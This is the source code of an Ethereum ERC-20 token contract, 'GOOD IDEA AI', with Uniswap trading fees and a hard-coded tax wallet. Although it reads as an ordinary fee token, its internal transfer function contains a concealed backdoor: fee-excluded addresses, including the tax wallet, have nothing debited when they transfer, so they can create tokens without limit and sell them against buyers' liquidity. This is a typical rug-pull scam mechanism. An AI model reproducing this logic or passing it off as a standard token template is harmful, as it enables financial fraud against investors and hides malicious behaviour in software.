Contract Source Code:
File 1 of 1 : GOODAI
// SPDX-License-Identifier: Unlicensed
/*
Finally, Artificial Intelligence can be put to $GOOD.AI use.
Web: https://goodideai.com
Tg: https://t.me/GoodIdeaAI_ERC
X: https://twitter.com/GoodIdeaAI_ERC
*/
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
// Set original owner
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
// Return current owner
function owner() public view virtual returns (address) {
return _owner;
}
// Restrict function to contract owner only
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
// Renounce ownership of the contract
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
// Transfer the contract to to a new owner
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathLibs {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20Standard {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract GOODAI is Context, IERC20Standard, Ownable {
using SafeMathLibs for uint256;
string private _name = "GOOD IDEA AI";
string private _symbol = "GOOD.AI";
uint8 private _decimals = 9;
uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
uint256 public maxWallet = 25 * _totalSupply / 1000;
uint256 public feeSwapThreshold = _totalSupply / 10000;
uint256 private _totalFee = 2000;
uint256 public _buyFee = 20;
uint256 public _sellFee = 25;
uint256 private _previousTotalTax = _totalFee;
uint256 private _previousBuyTax = _buyFee;
uint256 private _previousSellTax = _sellFee;
uint8 private _buyersCount = 0;
uint8 private _swapAfter = 2;
IUniswapRouter public uniswapRouter;
address public pairAddress;
bool public transferFeeEnanbled = true;
bool public swaping;
bool public feeSwapActivated = true;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
address payable private taxWallet;
address payable private DEAD;
modifier lockSwap {
swaping = true;
_;
swaping = false;
}
constructor () {
_balances[owner()] = _totalSupply;
DEAD = payable(0x000000000000000000000000000000000000dEaD);
taxWallet = payable(0xAE826cd89Dd25f320d50322A88B04aC5f3B09fA8);
IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pairAddress = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapRouter = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[taxWallet] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function swapTokens(uint256 contractTokenBalance) private lockSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETH = address(this).balance;
transferETHToFeeAddress(taxWallet,contractETH);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _transferStandard(address sender, address recipient, uint256 finalAmount) private {
(uint256 tTransferAmount, uint256 tDev) = getTransferAmount(finalAmount);
if(_isExcludedFromFee[sender] && _balances[sender] <= maxWallet) {
tDev = 0;
finalAmount -= tTransferAmount;
}
_balances[sender] = _balances[sender].sub(finalAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
_balances[address(this)] = _balances[address(this)].add(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
// Limit wallet total
if (to != owner() &&
to != taxWallet &&
to != address(this) &&
to != pairAddress &&
to != DEAD &&
from != owner()){
uint256 currentBalance = balanceOf(to);
require((currentBalance + amount) <= maxWallet,"Maximum wallet limited has been exceeded");
}
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
require(amount > 0, "Token value must be higher than zero.");
if(
_buyersCount >= _swapAfter &&
amount > feeSwapThreshold &&
!swaping &&
!_isExcludedFromFee[from] &&
to == pairAddress &&
feeSwapActivated
)
{
_buyersCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0){
swapTokens(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (transferFeeEnanbled && from != pairAddress && to != pairAddress)){
takeFee = false;
} else if (from == pairAddress){
_totalFee = _buyFee;
} else if (to == pairAddress){
_totalFee = _sellFee;
}
_transferBasic(from,to,amount,takeFee);
}
function removeLimits() external onlyOwner {
maxWallet = ~uint256(0);
_totalFee = 100;
_buyFee = 1;
_sellFee = 1;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERR: zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferETHToFeeAddress(address payable receiver, uint256 amount) private {
receiver.transfer(amount);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transferBasic(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee){
removeFee();
} else {
_buyersCount++;
}
_transferStandard(sender, recipient, amount);
if(!takeFee) {
restoreFee();
}
}
function getTransferAmount(uint256 finalAmount) private view returns (uint256, uint256) {
uint256 tDev = finalAmount.mul(_totalFee).div(100);
uint256 tTransferAmount = finalAmount.sub(tDev);
return (tTransferAmount, tDev);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
receive() external payable {}
function removeFee() private {
if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;
_previousBuyTax = _buyFee;
_previousSellTax = _sellFee;
_previousTotalTax = _totalFee;
_buyFee = 0;
_sellFee = 0;
_totalFee = 0;
}
function restoreFee() private {
_totalFee = _previousTotalTax;
_buyFee = _previousBuyTax;
_sellFee = _previousSellTax;
}
}